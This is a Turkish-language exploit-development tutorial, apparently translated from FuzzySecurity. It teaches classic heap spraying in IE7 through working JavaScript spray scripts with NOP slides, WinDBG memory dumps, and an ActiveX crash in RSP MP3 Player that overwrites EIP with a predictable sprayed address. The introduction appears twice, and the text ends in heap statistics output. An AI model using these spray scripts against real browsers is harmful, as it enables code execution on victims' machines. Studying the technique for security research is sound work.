- 21 Eki 2015
- 477
- 1
8. Bölüm: Yığın Püskürtme [Bölüm 1: Geleneksel EIP] Samanlıkta İğne Aramak
Bu, Yığın Püskürtme ile ilgili 2 bölümlük bir eğitimin 1. Bölümüdür. Bu kısım IE7deki klasik yığın spreyini kapsayacaktır, 2. Kısım hassas yığın spreylerini kapsayacak ve IE8de kullanımında sonra serbest bırakılacaktır. Yığın püskürtülmesi, yığın exploiti ile veya herhangi bir exploit azaltma tekniğini atlayarak hiçbir ilgisi yoktur. Daha çok bir payload dağıtım yöntemidir. Çoğunlukla tarayıcıları kullanırken bu tekniğe ihtiyacınız olacak (ayrıca flash, PDF ve MS Office). Arabellek taşması ile, her zaman yığında belleğe yer ayırabileceğimize güveniriz ve shell kodu ona göre yazarız. Tarayıcıda veya Activex exploitinde bellek ayırabilseniz de daha iyi, daha güvenilir ve badchar içermeyen bir yol var. Bu yüzden yığını daraltmaya hazırlanın.
Tarayıcı sömürüsü için immunity debugger ve WinDBG arasında kaldım. Bana öyle geliyor ki immunity, verileri görselleştirmek ve bellekte dolaşmak için iyidir ancak WinDBG daha hızlı, daha güvenilir görünüyor ve gerçekten pratik bazı özelliklere sahip (en önemlisi javascript kesme noktasını kullanma). Seçimi size bırakıyorum, WinDBGnin avantajları bölüm 2 de daha belirgin hale gelecektir. WinDBGyi kullanmadan önce özelleştirmeniz gerektiğini söylemem gerek, tam ve keyifli bir deneyim elde etmek için Windows sembollerini ayarlamayı unutmayın!
Bu tekniği tanıtmak için RSP MP3 Player için yeni bir exploit yaratacağız. Burada bu program için bir önceki exploiti görebilirsiniz. Tarayıcılarla oynamaya başladığınızda IEnin birden çok sürümünün yüklü olması genellikle yararlı olacaktır. Buraya gidin ve IE koleksiyonunun bir kopyasını alın, tarayıcınızı son sürüme güncelleyin ve sonra IE koleksiyonun önceki sürümlerini kurun.
Hata Ayıklama Makinesi: Windows XP SP3 IE7 ile
Giriş
Her şeyden önce corelanc0d3ra ait olduğu için ona teşekkürlerimi sunmak istiyorum. Heap Spraying Demystified, payload teslim edilmesi amacıyla yığın püskürtme ile ilgili daha ince noktaları açıklamak için mükemmel ve derinlemesine bir iş çıkarır. Corelanc0d3r tarafından yapılan işlerin çoğunu papağan gibi yazdığım için önceden özür dilerim ancak bu teoriyi kendi amaçlarım için tekrar ediyor; yoğunlaştırılmış bir formda örnek kullanmak için pratik bir hatayı gösteriyorum.
Yığın, toplam kullanılabilir belek alanının yalnızca küçük bir bölümünü içerir. Heapmanager, örneğin, programların veri boyutu hakkında önceden tanımlanmış kurallar olmadan verileri depolaması gerektiğinde, bellek parçalarını dinamik olarak dağıtabilir. Yığın ciddi bir iştir ve her zaman olduğu gibi, bilmeniz gereken her şeyi açıklayamam/açıklamayacağım ancak devam etmeniz için gereken bilgileri vereceğim.
Yığın ayırıcısı hakkında bilmemiz gereken birkaç basit şey var. (1) bellek dinamik olarak ayrılır ve serbest bırakıldığında yığın parçalanır. (2) Bir yığında bellek parçası serbest bırakıldığında, ön veya arka uç ayırıcıya gönderilir (işletim sistemine ve mimariye göre değişir). Ayırıcı, yığın ayırmalarını optimize etmek için bir önbelleğe alma hizmetine benzer. Önceden de belirttiğimiz gibi, yığını ayırmak veya serbest bırakmak (=kötü), bu parçalanmayı en aza indirmek için ayırıcı, uyulamaya daha önce serbest bırakılmış, aynı boyuta sahip olması koşuluyla, bir yığın bellek sağlayabilir. Böylece yeni ayırılan miktar azalır (=iyi). (3) Yığın belleği dinamik olarak dağıtılsa da, yığın ayırıcısı ardışık parçaları ayırmayı sever (parçalanmayı tekrar azaltmak için). Bu yığının aslında saldırganların bakış açısından gerekli olduğu anlamına gelir. Yeterince büyük ardışık ayırıcı göz önüne alındığında, verileri kullanabileceğimiz yığın üzerinde belirli bir yere güvenilir bir şekilde koyabiliriz (düşük miktarda dağınıklık ile).
Yığın Püskürtme kavramı ilk olarak 2004 yılında blazde ve SkyLines tarafından, Internet explore iframe etiket arabellek taşması exploitini kullandığında tanıtıldı. Aynı genel teknik, IE7, firefox 3.6.24, Opera 11.60 a kadar çoğu tarayıcı exploiti tarafından kullanılmıştır. Daha sonraki tarayıcılarda daha doğru yığın püskürtmeyi nasıl yapacağımızı bölüm 2 eğitiminde anlatacağım.
Şu şekilde düşünün. Bir hata (vanilya EIP, use-after-free, vb) bize keyfi bir 4 bayt yazma verirse ve payloadımızı saklamak için yığın üzerinde bir kod mağarası oluşturabiliriz, daha sonra yürütme akışını shell kodumuza yönlendirmek için bu yazıyı kullanabiliriz ve b00m, artık yürütme kodumuz var! Javascript kurtarmaya! En şaşırtıcı şey, javascriptin doğrudan yığın üzerindeki stinglerin yerini değiştirebilmesi ve biraz kurnazlıkla, kullanmak istediğimiz herhangi bir tarayıcı için ihtiyaçlarımızı karşılamak için yığın şekillendirebiliriz! Bu eğitimin ana parçası, yığın üzerinde nasıl güvenilir yer ayırabileceğimizi açıklamak olacaktır. Aşağıdaki resimde size ne yapmak istediğimize dair bir fikir vermelidir.
Bu ilginizi çekmek için yeterli olmalıdır. Önce yığın ayırmasını yapma sürecinden geçeceğiz ve sonra bu bilgiyi bir ActiveX exploiti yazmak için uygulayacağız.
Shell Kodu Yığını
Daha önce de belirttiğim gibi, yığın püskürtme meşru javascript özelliklerinden yararlanan bir payload dağıtım tekniğidir. Yığın üzerinde bazı basit dizeleri ayırmaya çalışalım.
Aşağıdaki ekran görüntüsünden ASCII dizemizi yığına koymayı başardığımızı görebiliriz. Javascript unescape kullandığımızı unutmayın, aksi takdirde dizemiz UNICODEda saklanır.
s -a 0x00000000 L?7fffffff "FuzzySecurity"
d 032e3fdc
Şimdiye kadar çok iyi ancak hedefimizin yığını NOP + shell kodu dizileriyle doldurmak olduğunu unutmayın. Javascriptimizi değiştirmeye çalışalım böylece NOPun shell kodunu tanımlayabilir ve bu diziyi yığın üzerinde bloklar olarak saklamaya devam edebiliriz.
Esasen 1000 baytlık bir payload bloğu oluşturuyoruz ve sonra bu bloğu 51 kez tekrarlıyoruz (0-50 =51 aralığında). Aşağıda bloklarımızın yapısını görebilirsiniz, onları pythonda temsil edersek bazı karışıklıkları ortadan kaldırabiliriz.
"\x90"*(1000-len(shellcode)) + shellcode
WinDBGdeki yer ayırmalarımıza bakmanın zamanı geldi. Aşağıda gördüğünüz gibi, WinDBG şimdi ASCI dizemizden 51 örneğini listeledi. Yer ayırmaları izlersek görünüşe göre, başlangıçta bloklar bazen çöplerle çevrelenmiş ancak listenin daha da aşağısında mükemmel bir şekilde tutarlı olduklarını görüyoruz.
Tamam hiçte fena değil, oldukça uzun bir yol kat ettik. Ama kuşkusuz, ardışık yer ayırmamızda da biraz şanslıydık. Şu anda yapmak istediğimiz: (1) Daha fazla veri tahsis edeceğiz, böylece daha fazla yığın belleğini doldururuz (daha yüksek bellek aralıklarının üzerine yazıp) ve (2) blok boyutunu değitir böylece IE, BSTR nesnesi başına bir blok ayırır ve böylece sıralı yer ayırmalarımızın güvenliğini arttırır ve bloklar arasında ölü bir bölgeye denk gelme riskini azaltır. Aşağıda son yığın püskürtme komut dosyamızı bulabilirsiniz (ayrıca halka açık exploitlerde de kullanılan). Bu scripti IE7ye kadar IEnin tüm sürümlerinde test ettim ve çok tutarlı.
Bu komut dosyası çok daha büyük blokları püskürtür 0x40000 (= 262144 bayt = 0.25mb) ve bu blokları 500 kez tekrarlar (= 125 mb yığın püskürtmesi). Ayrıca, shell kodumuzun boyutunun 1000 bayttan büyük olma ihtimalinin düşük olduğunu unutmayın bu da bloklarımızın NOPların yaklaşık %99.997sinden oluştuğu anlamına gelir bu da, onları atlamayı son derece güvenilir hale getirir! Püskürtmenin WinDBGde neye benzediğine bir bakalım.
Şimdiye kadar kendinize şunu söylüyor olabilirsiniz: Evet bu çok havalı ama ne anlamı var?. Normalde exploit geliştirmede, 4 baytlık bir yazıya sahip olduğumuzda, uygulama modüllerinden birinde bir talimat için bir işaretçi ile üzerine yazarız. Güvenilirlik için, bu işaretçiyi (EIP gibi) bellekteki shell kodumuzun adresi ile doğrudan yazmayız. Yığın püskürtmesi durumunda, yığın bellek düzenini doğrudan belirleyebiliriz ve 4 baytlık yazma noktalarımızda kullandığımız herhangi bir statik bellek adresinin yığın üzerindeki NOPlarımıza işaret ettiğinden emin oluruz. Aynı adres her zaman arabellekte tam olarak aynı yeri göstermez, bizim NOP-slideımız (%99.997 olduğunu hatırlayın) o kadar büyük ki exploiti her başlattığımızda vuracağımızdan emin olabiliriz. NOPu çalıştırdıktan sonra, shell kodumuza gireceğiz ve yürütme koduna sahibiz! Aşağıda uygun bir işaretçi bulmak için bakacağımız olağan şüphelileri görebilirsiniz. Bu adreslerdeki işlem koduna bir göz atarsak, şüphelerimizin doğrulandığını görebiliriz.
Tahmin Ettiğimiz İşaretçiler:
- 0x05050505
- 0x06060606
- 0x07070707
- ....
Özel bir önemi olan başka bir adres 0x0c0c0c0cdir ancak, bu eğitimin 2. Bölümünde açıklayacağım.
Yine söylüyorum, eğitimin bu kısmında kesinlik konusunda çok endişelenmemize gerek olmayan klasik yığın püskürtmesi ile ilgileniyoruz. 2. Kısımda aşırı hassasiyet gerektiren püskürtmeleri kapsayacaktır. Çünkü, (1) DEP ile uğraşmamız gerektiğinden ve/veya (2) Use-After-Free exploitlediğimizden dolayı. Eh, bizim exploitimiz için zemini hazırladık, bu yüzden, bir shell açma zamanı geldi.
Crashi Tekrarlama + EIP
RSP MP3 Playerı eğitimin başlangıcındaki linklerden indirin. ocx dosyasını kaydetmek için bir komut istemcisi açın, ocx dosyasını içere klasöre gidin ve regsvr32 resmp3ocx320sw.cos yazın. Dosyanın başarıyla kaydedildiğini söyleyen bir ekran görmelisiniz. Ayrıca, COMRaiderın bir kopyasını buradan indirin ve yükleyin. COMRaider kullanımı kolay ve çökmeler için test yapılmasını sağlayan kaba ama etkili bir ActiveX fuzzerıdır (vbscript olmasına rağmen). Buradaki orjinal exploite baktığımızda çökmenin OpenFile ocx üye fonksiyonundan kaynaklandığını görebiliriz. Bu üyeyi sadece bulanıklaştırırsak, toplam 18 vakadan 14 istisnayı tetiklediğimizi görebiliriz. respmp3ocx320sw bulanıklaştırmak tüm zamanımı almadı ama bunu yaparsanız, çok sayıda exploitlenebilir çökme bulacağınızdan şüphelenmeyin!
Bir çökmeye neden olan test durumlarından birine bakarsak, exploit-dbdeki exploite çok benzer olduğunu görebiliriz.
Biraz araştırma yapıp vbscripti javascript dönüştürdükten sonra, çökmeyi tetikleyen aşağıdaki htmlyi buldum. Structured Exception Handler aracılığıyla EIP üzerinde kontrol sahibi oluyoruz ancak gerçektende önemli değil, başarmak istediğimiz tek şey, yığın püskürtmesinde öngörülebilir işaretçilerden biriyle EIPnin üzerine yazmaktır.
Gördüğümüz gibi, EIPyi 0x06060606 ile başarıyla yeniden yazdık (tahmin ettiğimiz işaretçilerden birisi ile) ve yürütme akışı hatası ortaya çıktı çünkü bu adreste henüz bir talimat bulunmuyor. İlginç bir konu olarak arabelleğimiz çok kesin değil, SEH arabelleğe 650 bayt civarında bir yerde olduğunu düşünüyorum ancak yine söylüyorum, bu çok önemli değil çünkü EIPye yığın püskürtmesine bir trambolin olarak ihtiyacımız var.
Shell Kodu + Oyun Bitti
Tamam, ilk olarak exploit için istenen bir shell kodu oluşturalım. Javascript Little Endian olarak kodlamayı unutmayalım.
Tamam, şimdi POCu temizleyelim. Yığın püskürtmesi için yapmamın gereken tek değişiklik, yeni ürettiğimiz shell koduna koymaktır!
Bu, Yığın Püskürtme ile ilgili 2 bölümlük bir eğitimin 1. Bölümüdür. Bu kısım IE7deki klasik yığın spreyini kapsayacaktır, 2. Kısım hassas yığın spreylerini kapsayacak ve IE8de kullanımında sonra serbest bırakılacaktır. Yığın püskürtülmesi, yığın exploiti ile veya herhangi bir exploit azaltma tekniğini atlayarak hiçbir ilgisi yoktur. Daha çok bir payload dağıtım yöntemidir. Çoğunlukla tarayıcıları kullanırken bu tekniğe ihtiyacınız olacak (ayrıca flash, PDF ve MS Office). Arabellek taşması ile, her zaman yığında belleğe yer ayırabileceğimize güveniriz ve shell kodu ona göre yazarız. Tarayıcıda veya Activex exploitinde bellek ayırabilseniz de daha iyi, daha güvenilir ve badchar içermeyen bir yol var. Bu yüzden yığını daraltmaya hazırlanın.
Tarayıcı sömürüsü için immunity debugger ve WinDBG arasında kaldım. Bana öyle geliyor ki immunity, verileri görselleştirmek ve bellekte dolaşmak için iyidir ancak WinDBG daha hızlı, daha güvenilir görünüyor ve gerçekten pratik bazı özelliklere sahip (en önemlisi javascript kesme noktasını kullanma). Seçimi size bırakıyorum, WinDBGnin avantajları bölüm 2 de daha belirgin hale gelecektir. WinDBGyi kullanmadan önce özelleştirmeniz gerektiğini söylemem gerek, tam ve keyifli bir deneyim elde etmek için Windows sembollerini ayarlamayı unutmayın!
Bu tekniği tanıtmak için RSP MP3 Player için yeni bir exploit yaratacağız. Burada bu program için bir önceki exploiti görebilirsiniz. Tarayıcılarla oynamaya başladığınızda IEnin birden çok sürümünün yüklü olması genellikle yararlı olacaktır. Buraya gidin ve IE koleksiyonunun bir kopyasını alın, tarayıcınızı son sürüme güncelleyin ve sonra IE koleksiyonun önceki sürümlerini kurun.
Hata Ayıklama Makinesi: Windows XP SP3 IE7 ile
Giriş
Her şeyden önce corelanc0d3ra ait olduğu için ona teşekkürlerimi sunmak istiyorum. Heap Spraying Demystified, payload teslim edilmesi amacıyla yığın püskürtme ile ilgili daha ince noktaları açıklamak için mükemmel ve derinlemesine bir iş çıkarır. Corelanc0d3r tarafından yapılan işlerin çoğunu papağan gibi yazdığım için önceden özür dilerim ancak bu teoriyi kendi amaçlarım için tekrar ediyor; yoğunlaştırılmış bir formda örnek kullanmak için pratik bir hatayı gösteriyorum.
Yığın, toplam kullanılabilir belek alanının yalnızca küçük bir bölümünü içerir. Heapmanager, örneğin, programların veri boyutu hakkında önceden tanımlanmış kurallar olmadan verileri depolaması gerektiğinde, bellek parçalarını dinamik olarak dağıtabilir. Yığın ciddi bir iştir ve her zaman olduğu gibi, bilmeniz gereken her şeyi açıklayamam/açıklamayacağım ancak devam etmeniz için gereken bilgileri vereceğim.
Yığın ayırıcısı hakkında bilmemiz gereken birkaç basit şey var. (1) bellek dinamik olarak ayrılır ve serbest bırakıldığında yığın parçalanır. (2) Bir yığında bellek parçası serbest bırakıldığında, ön veya arka uç ayırıcıya gönderilir (işletim sistemine ve mimariye göre değişir). Ayırıcı, yığın ayırmalarını optimize etmek için bir önbelleğe alma hizmetine benzer. Önceden de belirttiğimiz gibi, yığını ayırmak veya serbest bırakmak (=kötü), bu parçalanmayı en aza indirmek için ayırıcı, uyulamaya daha önce serbest bırakılmış, aynı boyuta sahip olması koşuluyla, bir yığın bellek sağlayabilir. Böylece yeni ayırılan miktar azalır (=iyi). (3) Yığın belleği dinamik olarak dağıtılsa da, yığın ayırıcısı ardışık parçaları ayırmayı sever (parçalanmayı tekrar azaltmak için). Bu yığının aslında saldırganların bakış açısından gerekli olduğu anlamına gelir. Yeterince büyük ardışık ayırıcı göz önüne alındığında, verileri kullanabileceğimiz yığın üzerinde belirli bir yere güvenilir bir şekilde koyabiliriz (düşük miktarda dağınıklık ile).
Yığın Püskürtme kavramı ilk olarak 2004 yılında blazde ve SkyLines tarafından, Internet explore iframe etiket arabellek taşması exploitini kullandığında tanıtıldı. Aynı genel teknik, IE7, firefox 3.6.24, Opera 11.60 a kadar çoğu tarayıcı exploiti tarafından kullanılmıştır. Daha sonraki tarayıcılarda daha doğru yığın püskürtmeyi nasıl yapacağımızı bölüm 2 eğitiminde anlatacağım.
Şu şekilde düşünün. Bir hata (vanilya EIP, use-after-free, vb) bize keyfi bir 4 bayt yazma verirse ve payloadımızı saklamak için yığın üzerinde bir kod mağarası oluşturabiliriz, daha sonra yürütme akışını shell kodumuza yönlendirmek için bu yazıyı kullanabiliriz ve b00m, artık yürütme kodumuz var! Javascript kurtarmaya! En şaşırtıcı şey, javascriptin doğrudan yığın üzerindeki stinglerin yerini değiştirebilmesi ve biraz kurnazlıkla, kullanmak istediğimiz herhangi bir tarayıcı için ihtiyaçlarımızı karşılamak için yığın şekillendirebiliriz! Bu eğitimin ana parçası, yığın üzerinde nasıl güvenilir yer ayırabileceğimizi açıklamak olacaktır. Aşağıdaki resimde size ne yapmak istediğimize dair bir fikir vermelidir.
Bu ilginizi çekmek için yeterli olmalıdır. Önce yığın ayırmasını yapma sürecinden geçeceğiz ve sonra bu bilgiyi bir ActiveX exploiti yazmak için uygulayacağız.
Shell Kodu Yığını
Daha önce de belirttiğim gibi, yığın püskürtme meşru javascript özelliklerinden yararlanan bir payload dağıtım tekniğidir. Yığın üzerinde bazı basit dizeleri ayırmaya çalışalım.
Kod:
<html>
<body>
<script language='javascript'>
var myvar = unescape(
'%u7546%u7a7a%u5379'+ // ASCII
'%u6365%u7275%u7469'+ // FuzzySecurity
'%u9079'); //
alert("al******** done");
</script>
</body>
</html>
Aşağıdaki ekran görüntüsünden ASCII dizemizi yığına koymayı başardığımızı görebiliriz. Javascript unescape kullandığımızı unutmayın, aksi takdirde dizemiz UNICODEda saklanır.
s -a 0x00000000 L?7fffffff "FuzzySecurity"
d 032e3fdc
Şimdiye kadar çok iyi ancak hedefimizin yığını NOP + shell kodu dizileriyle doldurmak olduğunu unutmayın. Javascriptimizi değiştirmeye çalışalım böylece NOPun shell kodunu tanımlayabilir ve bu diziyi yığın üzerinde bloklar olarak saklamaya devam edebiliriz.
Kod:
<html>
<body>
<script language='javascript'>
size = 0x3E8; // 1000-bytes
NopSlide = ''; // Initially set to be empty
var Shellcode = unescape(
'%u7546%u7a7a%u5379'+ // ASCII
'%u6365%u7275%u7469'+ // FuzzySecurity
'%u9079'); //
// Keep filling with nops till we reach 1000-bytes
for (c = 0; c < size; c++){
NopSlide += unescape('%u9090%u9090');}
// Subtract size of shelccode
NopSlide = NopSlide.substring(0,size - Shellcode.length);
// Spray our payload 50 times
var memory = new Array();
for (i = 0; i < 50; i++){
memory[i] = NopSlide + Shellcode;}
alert("al******** done");
</script>
</body>
</html>
Esasen 1000 baytlık bir payload bloğu oluşturuyoruz ve sonra bu bloğu 51 kez tekrarlıyoruz (0-50 =51 aralığında). Aşağıda bloklarımızın yapısını görebilirsiniz, onları pythonda temsil edersek bazı karışıklıkları ortadan kaldırabiliriz.
"\x90"*(1000-len(shellcode)) + shellcode
WinDBGdeki yer ayırmalarımıza bakmanın zamanı geldi. Aşağıda gördüğünüz gibi, WinDBG şimdi ASCI dizemizden 51 örneğini listeledi. Yer ayırmaları izlersek görünüşe göre, başlangıçta bloklar bazen çöplerle çevrelenmiş ancak listenin daha da aşağısında mükemmel bir şekilde tutarlı olduklarını görüyoruz.
Kod:
0:013> s -a 0x00000000 L?7fffffff "FuzzySecurity"
02a4b03e 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
02a4b846 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
02a4c04e 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
[...Snip...]
0312e0f6 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
0312f0fe 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
03130106 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
Looking at 02a4c04e we can see the alignment is not perfect as there are allot
of junk bytes between blocks:
0:013> d 02a4c04e
02a4c04e 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
02a4c05e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
02a4c06e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
02a4c07e 00 00 00 00 00 00 00 00-00 00 59 c0 48 e8 00 01 ..........Y.H...
02a4c08e 28 ff d0 07 00 00 90 90-90 90 90 90 90 90 90 90 (...............
02a4c09e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
02a4c0ae 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
02a4c0be 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
However if we start from the last block and look back in steps of 1000-bytes we
can see the al********s look pretty good!
0:013> d 03130106-20
031300e6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
031300f6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03130106 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
03130116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03130126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03130136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03130146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
03130156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:013> d 03130106-20-1000
0312f0e6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312f0f6 90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63 ........FuzzySec
0312f106 75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90 urity...........
0312f116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312f126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312f136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312f146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312f156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:013> d 03130106-20-2000
0312e0e6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312e0f6 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
0312e106 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312e116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312e126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312e136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312e146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312e156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:013> d 03130106-20-3000
0312d0e6 90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63 ........FuzzySec
0312d0f6 75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90 urity...........
0312d106 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312d116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312d126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312d136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312d146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0312d156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
Tamam hiçte fena değil, oldukça uzun bir yol kat ettik. Ama kuşkusuz, ardışık yer ayırmamızda da biraz şanslıydık. Şu anda yapmak istediğimiz: (1) Daha fazla veri tahsis edeceğiz, böylece daha fazla yığın belleğini doldururuz (daha yüksek bellek aralıklarının üzerine yazıp) ve (2) blok boyutunu değitir böylece IE, BSTR nesnesi başına bir blok ayırır ve böylece sıralı yer ayırmalarımızın güvenliğini arttırır ve bloklar arasında ölü bir bölgeye denk gelme riskini azaltır. Aşağıda son yığın püskürtme komut dosyamızı bulabilirsiniz (ayrıca halka açık exploitlerde de kullanılan). Bu scripti IE7ye kadar IEnin tüm sürümlerinde test ettim ve çok tutarlı.
Kod:
<html>
<body>
<script language='javascript'>
var Shellcode = unescape(
'%u7546%u7a7a%u5379'+ // ASCII
'%u6365%u7275%u7469'+ // FuzzySecurity
'%u9079'); //
var NopSlide = unescape('%u9090%u9090');
var headersize = 20;
var slack = headersize + Shellcode.length;
while (NopSlide.length < slack) NopSlide += NopSlide;
var filler = NopSlide.substring(0,slack);
var chunk = NopSlide.substring(0,NopSlide.length - slack);
while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode }
alert("al******** done");
</script>
</body>
</html>
Bu komut dosyası çok daha büyük blokları püskürtür 0x40000 (= 262144 bayt = 0.25mb) ve bu blokları 500 kez tekrarlar (= 125 mb yığın püskürtmesi). Ayrıca, shell kodumuzun boyutunun 1000 bayttan büyük olma ihtimalinin düşük olduğunu unutmayın bu da bloklarımızın NOPların yaklaşık %99.997sinden oluştuğu anlamına gelir bu da, onları atlamayı son derece güvenilir hale getirir! Püskürtmenin WinDBGde neye benzediğine bir bakalım.
Kod:
Looking at our string in memory show us that the offset from the start of
the heap enrty to our payload seems to be consisten across all sprays (except
in the beginning but that is due to pre-existing fragmentation). This is a good
sign for reliability. We can also see that the memory range we are overwriting
is much much larger.
0:014> s -a 0x00000000 L?7fffffff "FuzzySecurity"
02a34010 46 75 7a 7a 79 53 65 63-75 72 69 74 79 0d 0a 20 FuzzySecurity..
030ca75c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
03b4ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
03c6ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
03cfffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
03d8ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
03e1ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
03eaffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
03f3ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
[...Snip...]
1521ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
152affee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
1533ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
153cffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
1545ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
154effee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
1557ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
Looking at the process environment block (PEB) will tell us what the default
ProcessHeap is (this is where our al********s will be stored). Alternatively
you can run "!heap -stat" and look at the ammount of commited bytes
on a per-heap basis.
0:014> !peb
PEB at 7ffd8000
InheritedAddressSpace: No
ReadImageFileExecOptions: No
BeingDebugged: Yes
ImageBaseAddress: 00400000
Ldr 00251e90
Ldr.Initialized: Yes
Ldr.InInitializationOrderModuleList: 00251f28 . 002557d8
Ldr.InLoadOrderModuleList: 00251ec0 . 00255918
Ldr.InMemoryOrderModuleList: 00251ec8 . 00255920
Base TimeStamp Module
400000 46c108d9 Aug 14 09:43:53 2007 C:\Program Files\Utilu IE Collection\IE700\iexplore.exe
7c900000 4d00f29d Dec 09 23:15:41 2010 C:\WINDOWS\system32\ntdll.dll
7c800000 49c4f2bb Mar 21 21:59:23 2009 C:\WINDOWS\system32\kernel32.dll
77dd0000 49900be3 Feb 09 18:56:35 2009 C:\WINDOWS\system32\ADVAPI32.dll
77e70000 4c68fa30 Aug 16 16:43:28 2010 C:\WINDOWS\system32\RPCRT4.dll
[...Snip...]
767f0000 4c2b375b Jun 30 20:23:55 2010 C:\WINDOWS\system32\schannel.dll
77c70000 4aaa5b06 Sep 11 22:13:26 2009 C:\WINDOWS\system32\msv1_0.dll
76790000 4802a0d9 Apr 14 08:10:01 2008 C:\WINDOWS\system32\cryptdll.dll
76d60000 4802a0d0 Apr 14 08:09:52 2008 C:\WINDOWS\system32\iphlpapi.dll
SubSystemData: 00000000
ProcessHeap: 00150000
ProcessParameters: 00020000
CurrentDirectory: 'C:\********s and Settings\Administrator\Desktop\'
WindowTitle: 'C:\Program Files\Utilu IE Collection\IE700\iexplore.exe'
ImageFile: 'C:\Program Files\Utilu IE Collection\IE700\iexplore.exe'
CommandLine: 'about:home'
[...Snip...]
Ok lets print out al******** statistics for this heap specifically. We can
see that 98.63% of the busy blocks in this heap belong to our spray.
0:014> !heap -stat -h 00150000
heap @ 00150000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
7ffe0 1f4 - f9fc180 (98.63)
3fff8 3 - bffe8 (0.30)
1fff8 4 - 7ffe0 (0.20)
7ffd0 1 - 7ffd0 (0.20)
7ff8 b - 57fa8 (0.14)
fff8 5 - 4ffd8 (0.12)
1ff8 21 - 41ef8 (0.10)
3ff8 d - 33f98 (0.08)
ff8 f - ef88 (0.02)
7f8 18 - bf40 (0.02)
8fc1 1 - 8fc1 (0.01)
7fe0 1 - 7fe0 (0.01)
7fd0 1 - 7fd0 (0.01)
7db4 1 - 7db4 (0.01)
614 14 - 7990 (0.01)
57e0 1 - 57e0 (0.01)
20 208 - 4100 (0.01)
5e4 b - 40cc (0.01)
4e4 c - 3ab0 (0.01)
3980 1 - 3980 (0.01)
We can also list all blocks that have the same size (in our case 0x7ffe0)
0:014> !heap -flt s 7ffe0
_HEAP @ 150000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
03ad0018 fffc 0000 [0b] 03ad0020 7ffe0 - (busy VirtualAlloc)
